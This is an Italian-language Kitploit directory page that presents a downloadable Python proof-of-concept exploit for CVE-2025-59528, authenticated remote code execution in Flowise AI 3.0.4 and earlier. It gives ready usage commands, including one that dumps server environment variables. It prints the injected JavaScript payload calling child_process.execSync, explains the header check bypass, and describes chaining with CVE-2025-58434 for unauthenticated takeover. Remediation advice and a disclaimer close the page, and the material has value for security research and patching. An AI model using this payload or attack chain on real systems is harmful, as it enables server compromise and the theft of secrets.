Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Flowise-RCE-CVE-2025-59528 — Exploit PoC in Python per CVE-2025-59528, che consente RCE autenticato su Flowise AI <= 3.0.4 tramite l'endpoint customMCP e Node.js child_process.execSync. | Kitploit
Strumenti/GitHubGitHub/arensballiu/flowise-rce-cve-2025-59528
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingSviluppo Payload
GitHubarensballiu/flowise-rce-cve-2025-59528

Flowise-RCE-CVE-2025-59528

Exploit PoC in Python per CVE-2025-59528, che consente RCE autenticato su Flowise AI <= 3.0.4 tramite l'endpoint customMCP e Node.js child_process.execSync.

Vedi Repository
1231 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-59528 - Esecuzione Remota di Codice (RCE) Autenticata in Flowise AI

Panoramica

ID CVE: CVE-2025-59528
Software interessato: Flowise AI
Versioni vulnerabili: <= 3.0.4
Versione corretta: 3.0.5 e successive
Gravità: Critica
Autore: arensballiu
Data: 2025

Descrizione

Le versioni di Flowise AI fino alla 3.0.4 inclusa consentono a un utente autenticato di ottenere l'Esecuzione Remota di Codice (RCE) sul server host inviando un payload JavaScript appositamente costruito all'endpoint /api/v1/node-load-method/customMCP.

Il metodo di caricamento del nodo customMCP accetta input controllati dall'utente che vengono valutati lato server come JavaScript, senza un'adeguata sanificazione o isolamento (sandboxing). Iniettando un payload che sfrutta child_process.execSync di Node.js, un attaccante può eseguire comandi arbitrari del sistema operativo con i privilegi del processo del server Flowise.

L'endpoint richiede inoltre la presenza dell'header x-request-from: internal.

Endpoint interessato

EndpointMetodoAutenticazione richiestaScopo
/api/v1/auth/loginPOSTNoAutenticarsi e ottenere la sessione
/api/v1/node-load-method/customMCPPOSTSì (cookie di sessione)Endpoint vulnerabile del metodo di caricamento del nodo

Proof of Concept

File: CVE-2025-59528_POC.py

Requisiti

  • Python 3.x
  • Libreria requests
  • Credenziali valide per qualsiasi account utente sull'istanza Flowise di destinazione
pip install requests

Utilizzo

python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

Argomenti

FlagForma lungaObbligatorioDescrizione
-e--emailSìIndirizzo email dell'utente autenticato
-i--urlSìURL di base dell'istanza Flowise
-p--passwordSìPassword dell'utente autenticato
-c--cmdSìComando del sistema operativo da eseguire sul server

Esempi

Verifica dell'esecuzione di codice:

python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

Recupera le variabili d'ambiente del server:

python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

Output previsto

[+] Logged in
[+] Exploit sent
[+] Status: 200

Analisi del Payload

L'exploit inietta la seguente espressione JavaScript nel campo mcpServerConfig:

({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})
  • process.mainModule.require('child_process') - carica il modulo integrato di esecuzione dei processi di Node.js.
  • execSync('<command>') - esegue in modo sincrono il comando di sistema fornito dall'attaccante.
  • L'intera espressione è racchiusa in un oggetto letterale per garantire che venga valutata correttamente all'interno del contesto JavaScript del server.

L'header x-request-from: internal viene inoltre aggiunto alla richiesta per superare un controllo dell'origine interna che altrimenti bloccherebbe la chiamata.

Causa principale

L'endpoint customMCP passa l'input fornito dall'utente direttamente in un contesto di valutazione JavaScript sul server senza sanitizzazione né sandboxing. Combinato con l'accesso non limitato ai moduli core di Node.js (in particolare child_process) tramite process.mainModule.require, questo crea un vettore RCE banalmente sfruttabile. Il controllo dell'header x-request-from non fornisce alcun confine di sicurezza significativo, poiché non viene validato rispetto ad alcuna fonte attendibile.

Concatenazione con CVE-2025-58434

Queste due vulnerabilità possono essere concatenate per un percorso di attacco RCE non autenticato contro istanze Flowise che eseguono versioni <= 3.0.4:

  1. Utilizzare CVE-2025-58434 per reimpostare la password di qualsiasi account noto (senza necessità di autenticazione preventiva).
  2. Accedere con le credenziali appena impostate.
  3. Utilizzare CVE-2025-59528 per eseguire comandi di sistema arbitrari sul server.

Remediation

  • Aggiornare a Flowise AI 3.0.5 o successivo, che rimuove o isola correttamente il percorso di valutazione vulnerabile.
  • Non valutare mai stringhe controllate dall'utente come codice in un contesto lato server.
  • Limitare l'accesso ai moduli pericolosi di Node.js (child_process, fs, ecc.) tramite una sandbox adeguata (ad es. vm2, contesti isolati o rimozione dell'accesso a process.mainModule).
  • Validare e autenticare l'header x-request-from tramite un meccanismo lato server anziché un semplice controllo di stringa.
  • Applicare il principio del privilegio minimo al processo del server Flowise.

Disclaimer

Questa proof of concept è fornita esclusivamente a scopo didattico e di ricerca sulla sicurezza autorizzata. L'uso di questo script contro sistemi senza esplicita autorizzazione scritta è illegale e non etico. L'autore e i contributori non si assumono alcuna responsabilità per un uso improprio.

Scarica lo strumento